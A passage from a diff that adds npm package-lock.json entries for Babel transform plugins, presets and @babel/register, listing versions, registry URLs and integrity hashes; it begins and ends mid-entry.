"resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.10.4.tgz", + "integrity": "sha512-F6nREOan7J5UXTLsDsZG3DXmZSVofr2tGNwfdrVwkDWHfQckbQXnXSPfD7iO+c/2HGqycwyLST3DnZ16n+cBJQ==", + "requires": { + "@babel/helper-module-imports": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-remap-async-to-generator": "^7.10.4" + } + }, + "@babel/plugin-transform-block-scoped-functions": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.10.4.tgz", + "integrity": "sha512-WzXDarQXYYfjaV1szJvN3AD7rZgZzC1JtjJZ8dMHUyiK8mxPRahynp14zzNjU3VkPqPsO38CzxiWO1c9ARZ8JA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-block-scoping": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.10.5.tgz", + "integrity": "sha512-6Ycw3hjpQti0qssQcA6AMSFDHeNJ++R6dIMnpRqUjFeBBTmTDPa8zgF90OVfTvAo11mXZTlVUViY1g8ffrURLg==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-classes": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.10.4.tgz", + "integrity": "sha512-2oZ9qLjt161dn1ZE0Ms66xBncQH4In8Sqw1YWgBUZuGVJJS5c0OFZXL6dP2MRHrkU/eKhWg8CzFJhRQl50rQxA==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-define-map": "^7.10.4", + "@babel/helper-function-name": "^7.10.4", + "@babel/helper-optimise-call-expression": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-replace-supers": "^7.10.4", + "@babel/helper-split-export-declaration": "^7.10.4", + "globals": "^11.1.0" + }, + "dependencies": { + "globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==" + } + } + }, + "@babel/plugin-transform-computed-properties": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.10.4.tgz", + "integrity": "sha512-JFwVDXcP/hM/TbyzGq3l/XWGut7p46Z3QvqFMXTfk6/09m7xZHJUN9xHfsv7vqqD4YnfI5ueYdSJtXqqBLyjBw==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-destructuring": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.10.4.tgz", + "integrity": "sha512-+WmfvyfsyF603iPa6825mq6Qrb7uLjTOsa3XOFzlYcYDHSS4QmpOWOL0NNBY5qMbvrcf3tq0Cw+v4lxswOBpgA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-dotall-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.10.4.tgz", + "integrity": "sha512-ZEAVvUTCMlMFAbASYSVQoxIbHm2OkG2MseW6bV2JjIygOjdVv8tuxrCTzj1+Rynh7ODb8GivUy7dzEXzEhuPaA==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-duplicate-keys": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.10.4.tgz", + "integrity": "sha512-GL0/fJnmgMclHiBTTWXNlYjYsA7rDrtsazHG6mglaGSTh0KsrW04qml+Bbz9FL0LcJIRwBWL5ZqlNHKTkU3xAA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-exponentiation-operator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.10.4.tgz", + "integrity": "sha512-S5HgLVgkBcRdyQAHbKj+7KyuWx8C6t5oETmUuwz1pt3WTWJhsUV0WIIXuVvfXMxl/QQyHKlSCNNtaIamG8fysw==", + "requires": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-flow-strip-types": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.21.0.tgz", + "integrity": "sha512-FlFA2Mj87a6sDkW4gfGrQQqwY/dLlBAyJa2dJEZ+FHXUVHBflO2wyKvg+OOEzXfrKYIa4HWl0mgmbCzt0cMb7w==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-flow": "^7.18.6" + } + }, + "@babel/plugin-transform-for-of": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.10.4.tgz", + "integrity": "sha512-ItdQfAzu9AlEqmusA/65TqJ79eRcgGmpPPFvBnGILXZH975G0LNjP1yjHvGgfuCxqrPPueXOPe+FsvxmxKiHHQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-function-name": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.10.4.tgz", + "integrity": "sha512-OcDCq2y5+E0dVD5MagT5X+yTRbcvFjDI2ZVAottGH6tzqjx/LKpgkUepu3hp/u4tZBzxxpNGwLsAvGBvQ2mJzg==", + "requires": { + "@babel/helper-function-name": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-literals": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.10.4.tgz", + "integrity": "sha512-Xd/dFSTEVuUWnyZiMu76/InZxLTYilOSr1UlHV+p115Z/Le2Fi1KXkJUYz0b42DfndostYlPub3m8ZTQlMaiqQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-member-expression-literals": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.10.4.tgz", + "integrity": "sha512-0bFOvPyAoTBhtcJLr9VcwZqKmSjFml1iVxvPL0ReomGU53CX53HsM4h2SzckNdkQcHox1bpAqzxBI1Y09LlBSw==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-modules-amd": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.10.5.tgz", + "integrity": "sha512-elm5uruNio7CTLFItVC/rIzKLfQ17+fX7EVz5W0TMgIHFo1zY0Ozzx+lgwhL4plzl8OzVn6Qasx5DeEFyoNiRw==", + "requires": { + "@babel/helper-module-transforms": "^7.10.5", + "@babel/helper-plugin-utils": "^7.10.4", + "babel-plugin-dynamic-import-node": "^2.3.3" + } + }, + "@babel/plugin-transform-modules-commonjs": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.21.2.tgz", + "integrity": "sha512-Cln+Yy04Gxua7iPdj6nOV96smLGjpElir5YwzF0LBPKoPlLDNJePNlrGGaybAJkd0zKRnOVXOgizSqPYMNYkzA==", + "requires": { + "@babel/helper-module-transforms": "^7.21.2", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-simple-access": "^7.20.2" + } + }, + "@babel/plugin-transform-modules-systemjs": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.10.5.tgz", + "integrity": "sha512-f4RLO/OL14/FP1AEbcsWMzpbUz6tssRaeQg11RH1BP/XnPpRoVwgeYViMFacnkaw4k4wjRSjn3ip1Uw9TaXuMw==", + "requires": { + "@babel/helper-hoist-variables": "^7.10.4", + "@babel/helper-module-transforms": "^7.10.5", + "@babel/helper-plugin-utils": "^7.10.4", + "babel-plugin-dynamic-import-node": "^2.3.3" + } + }, + "@babel/plugin-transform-modules-umd": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.10.4.tgz", + "integrity": "sha512-mohW5q3uAEt8T45YT7Qc5ws6mWgJAaL/8BfWD9Dodo1A3RKWli8wTS+WiQ/knF+tXlPirW/1/MqzzGfCExKECA==", + "requires": { + "@babel/helper-module-transforms": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.10.4.tgz", + "integrity": "sha512-V6LuOnD31kTkxQPhKiVYzYC/Jgdq53irJC/xBSmqcNcqFGV+PER4l6rU5SH2Vl7bH9mLDHcc0+l9HUOe4RNGKA==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.10.4" + } + }, + "@babel/plugin-transform-new-target": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.10.4.tgz", + "integrity": "sha512-YXwWUDAH/J6dlfwqlWsztI2Puz1NtUAubXhOPLQ5gjR/qmQ5U96DY4FQO8At33JN4XPBhrjB8I4eMmLROjjLjw==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-object-super": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.10.4.tgz", + "integrity": "sha512-5iTw0JkdRdJvr7sY0vHqTpnruUpTea32JHmq/atIWqsnNussbRzjEDyWep8UNztt1B5IusBYg8Irb0bLbiEBCQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-replace-supers": "^7.10.4" + } + }, + "@babel/plugin-transform-parameters": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.10.5.tgz", + "integrity": "sha512-xPHwUj5RdFV8l1wuYiu5S9fqWGM2DrYc24TMvUiRrPVm+SM3XeqU9BcokQX/kEUe+p2RBwy+yoiR1w/Blq6ubw==", + "requires": { + "@babel/helper-get-function-arity": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-property-literals": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.10.4.tgz", + "integrity": "sha512-ofsAcKiUxQ8TY4sScgsGeR2vJIsfrzqvFb9GvJ5UdXDzl+MyYCaBj/FGzXuv7qE0aJcjWMILny1epqelnFlz8g==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-react-display-name": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz", + "integrity": "sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-transform-react-jsx": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.21.0.tgz", + "integrity": "sha512-6OAWljMvQrZjR2DaNhVfRz6dkCAVV+ymcLUmaf8bccGOHn2v5rHJK3tTpij0BuhdYWP4LLaqj5lwcdlpAAPuvg==", + "peer": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-jsx": "^7.18.6", + "@babel/types": "^7.21.0" + } + }, + "@babel/plugin-transform-react-jsx-self": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.21.0.tgz", + "integrity": "sha512-f/Eq+79JEu+KUANFks9UZCcvydOOGMgF7jBrcwjHa5jTZD8JivnhCJYvmlhR/WTXBWonDExPoW0eO/CR4QJirA==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.20.2" + } + }, + "@babel/plugin-transform-react-jsx-source": { + "version": "7.19.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.19.6.tgz", + "integrity": "sha512-RpAi004QyMNisst/pvSanoRdJ4q+jMCWyk9zdw/CyLB9j8RXEahodR6l2GyttDRyEVWZtbN+TpLiHJ3t34LbsQ==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.19.0" + } + }, + "@babel/plugin-transform-regenerator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.10.4.tgz", + "integrity": "sha512-3thAHwtor39A7C04XucbMg17RcZ3Qppfxr22wYzZNcVIkPHfpM9J0SO8zuCV6SZa265kxBJSrfKTvDCYqBFXGw==", + "requires": { + "regenerator-transform": "^0.14.2" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.10.5.tgz", + "integrity": "sha512-otddXKhdNn7d0ptoFRHtMLa8LqDxLYwTjB4nYgM1yy5N6gU/MUf8zqyyLltCH3yAVitBzmwK4us+DD0l/MauAg==", + "requires": { + "regenerator-runtime": "^0.13.4" + } + }, + "regenerator-runtime": { + "version": "0.13.5", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", + "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" + }, + "regenerator-transform": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz", + "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==", + "requires": { + "@babel/runtime": "^7.8.4" + } + } + } + }, + "@babel/plugin-transform-reserved-words": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.10.4.tgz", + "integrity": "sha512-hGsw1O6Rew1fkFbDImZIEqA8GoidwTAilwCyWqLBM9f+e/u/sQMQu7uX6dyokfOayRuuVfKOW4O7HvaBWM+JlQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-runtime": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.21.0.tgz", + "integrity": "sha512-ReY6pxwSzEU0b3r2/T/VhqMKg/AkceBT19X0UptA3/tYi5Pe2eXgEUH+NNMC5nok6c6XQz5tyVTUpuezRfSMSg==", + "peer": true, + "requires": { + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.20.2", + "babel-plugin-polyfill-corejs2": "^0.3.3", + "babel-plugin-polyfill-corejs3": "^0.6.0", + "babel-plugin-polyfill-regenerator": "^0.4.1", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true + } + } + }, + "@babel/plugin-transform-shorthand-properties": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.10.4.tgz", + "integrity": "sha512-AC2K/t7o07KeTIxMoHneyX90v3zkm5cjHJEokrPEAGEy3UCp8sLKfnfOIGdZ194fyN4wfX/zZUWT9trJZ0qc+Q==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-spread": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.10.4.tgz", + "integrity": "sha512-1e/51G/Ni+7uH5gktbWv+eCED9pP8ZpRhZB3jOaI3mmzfvJTWHkuyYTv0Z5PYtyM+Tr2Ccr9kUdQxn60fI5WuQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-sticky-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.10.4.tgz", + "integrity": "sha512-Ddy3QZfIbEV0VYcVtFDCjeE4xwVTJWTmUtorAJkn6u/92Z/nWJNV+mILyqHKrUxXYKA2EoCilgoPePymKL4DvQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-regex": "^7.10.4" + } + }, + "@babel/plugin-transform-template-literals": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.10.5.tgz", + "integrity": "sha512-V/lnPGIb+KT12OQikDvgSuesRX14ck5FfJXt6+tXhdkJ+Vsd0lDCVtF6jcB4rNClYFzaB2jusZ+lNISDk2mMMw==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-typeof-symbol": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.10.4.tgz", + "integrity": "sha512-QqNgYwuuW0y0H+kUE/GWSR45t/ccRhe14Fs/4ZRouNNQsyd4o3PG4OtHiIrepbM2WKUBDAXKCAK/Lk4VhzTaGA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-typescript": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.21.0.tgz", + "integrity": "sha512-xo///XTPp3mDzTtrqXoBlK9eiAYW3wv9JXglcn/u1bi60RW11dEUxIgA8cbnDhutS1zacjMRmAwxE0gMklLnZg==", + "peer": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.21.0", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-typescript": "^7.20.0" + } + }, + "@babel/plugin-transform-unicode-escapes": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.10.4.tgz", + "integrity": "sha512-y5XJ9waMti2J+e7ij20e+aH+fho7Wb7W8rNuu72aKRwCHFqQdhkdU2lo3uZ9tQuboEJcUFayXdARhcxLQ3+6Fg==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-unicode-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.10.4.tgz", + "integrity": "sha512-wNfsc4s8N2qnIwpO/WP2ZiSyjfpTamT2C9V9FDH/Ljub9zw6P3SjkXcFmc0RQUt96k2fmIvtla2MMjgTwIAC+A==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/preset-env": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.10.4.tgz", + "integrity": "sha512-tcmuQ6vupfMZPrLrc38d0sF2OjLT3/bZ0dry5HchNCQbrokoQi4reXqclvkkAT5b+gWc23meVWpve5P/7+w/zw==", + "requires": { + "@babel/compat-data": "^7.10.4", + "@babel/helper-compilation-targets": "^7.10.4", + "@babel/helper-module-imports": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-proposal-async-generator-functions": "^7.10.4", + "@babel/plugin-proposal-class-properties": "^7.10.4", + "@babel/plugin-proposal-dynamic-import": "^7.10.4", + "@babel/plugin-proposal-json-strings": "^7.10.4", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.10.4", + "@babel/plugin-proposal-numeric-separator": "^7.10.4", + "@babel/plugin-proposal-object-rest-spread": "^7.10.4", + "@babel/plugin-proposal-optional-catch-binding": "^7.10.4", + "@babel/plugin-proposal-optional-chaining": "^7.10.4", + "@babel/plugin-proposal-private-methods": "^7.10.4", + "@babel/plugin-proposal-unicode-property-regex": "^7.10.4", + "@babel/plugin-syntax-async-generators": "^7.8.0", + "@babel/plugin-syntax-class-properties": "^7.10.4", + "@babel/plugin-syntax-dynamic-import": "^7.8.0", + "@babel/plugin-syntax-json-strings": "^7.8.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.0", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.0", + "@babel/plugin-syntax-top-level-await": "^7.10.4", + "@babel/plugin-transform-arrow-functions": "^7.10.4", + "@babel/plugin-transform-async-to-generator": "^7.10.4", + "@babel/plugin-transform-block-scoped-functions": "^7.10.4", + "@babel/plugin-transform-block-scoping": "^7.10.4", + "@babel/plugin-transform-classes": "^7.10.4", + "@babel/plugin-transform-computed-properties": "^7.10.4", + "@babel/plugin-transform-destructuring": "^7.10.4", + "@babel/plugin-transform-dotall-regex": "^7.10.4", + "@babel/plugin-transform-duplicate-keys": "^7.10.4", + "@babel/plugin-transform-exponentiation-operator": "^7.10.4", + "@babel/plugin-transform-for-of": "^7.10.4", + "@babel/plugin-transform-function-name": "^7.10.4", + "@babel/plugin-transform-literals": "^7.10.4", + "@babel/plugin-transform-member-expression-literals": "^7.10.4", + "@babel/plugin-transform-modules-amd": "^7.10.4", + "@babel/plugin-transform-modules-commonjs": "^7.10.4", + "@babel/plugin-transform-modules-systemjs": "^7.10.4", + "@babel/plugin-transform-modules-umd": "^7.10.4", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.10.4", + "@babel/plugin-transform-new-target": "^7.10.4", + "@babel/plugin-transform-object-super": "^7.10.4", + "@babel/plugin-transform-parameters": "^7.10.4", + "@babel/plugin-transform-property-literals": "^7.10.4", + "@babel/plugin-transform-regenerator": "^7.10.4", + "@babel/plugin-transform-reserved-words": "^7.10.4", + "@babel/plugin-transform-shorthand-properties": "^7.10.4", + "@babel/plugin-transform-spread": "^7.10.4", + "@babel/plugin-transform-sticky-regex": "^7.10.4", + "@babel/plugin-transform-template-literals": "^7.10.4", + "@babel/plugin-transform-typeof-symbol": "^7.10.4", + "@babel/plugin-transform-unicode-escapes": "^7.10.4", + "@babel/plugin-transform-unicode-regex": "^7.10.4", + "@babel/preset-modules": "^0.1.3", + "@babel/types": "^7.10.4", + "browserslist": "^4.12.0", + "core-js-compat": "^3.6.2", + "invariant": "^2.2.2", + "levenary": "^1.1.1", + "semver": "^5.5.0" + }, + "dependencies": { + "browserslist": { + "version": "4.13.0", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", + "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", + "requires": { + "caniuse-lite": "^1.0.30001093", + "electron-to-chromium": "^1.3.488", + "escalade": "^3.0.1", + "node-releases": "^1.1.58" + } + }, + "node-releases": { + "version": "1.1.59", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", + "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==" + } + } + }, + "@babel/preset-flow": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/preset-flow/-/preset-flow-7.18.6.tgz", + "integrity": "sha512-E7BDhL64W6OUqpuyHnSroLnqyRTcG6ZdOBl1OKI/QK/HJfplqK/S3sq1Cckx7oTodJ5yOXyfw7rEADJ6UjoQDQ==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-validator-option": "^7.18.6", + "@babel/plugin-transform-flow-strip-types": "^7.18.6" + } + }, + "@babel/preset-modules": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.3.tgz", + "integrity": "sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==", + "requires": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + } + }, + "@babel/preset-typescript": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.21.0.tgz", + "integrity": "sha512-myc9mpoVA5m1rF8K8DgLEatOYFDpwC+RkMkjZ0Du6uI62YvDe8uxIEYVs/VCdSJ097nlALiU/yBC7//3nI+hNg==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-validator-option": "^7.21.0", + "@babel/plugin-transform-typescript": "^7.21.0" + } + }, + "@babel/register": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/register/-/register-7.21.0.tgz", + "integrity": "sha512-9nKsPmYDi5DidAqJaQooxIhsLJiNMkGr8ypQ8Uic7cIox7UCDsM7HuUGxdGT7mSDTYbqzIdsOWzfBton/YJrMw==", + "peer": true, + "requires": { + "clone-deep": "^4.0.1", + "find-cache-dir": "^2.0.0", + "make-dir": "^2.1.0", + "pirates": "^4.0.5", + "source-map-support": "^0.5.16" + }, + "dependencies": { + "clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "peer": true, + "requires": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + } + }, + "find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "peer": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + } + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "peer": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "peer": true + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "peer": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "peer": true, + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "peer": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": 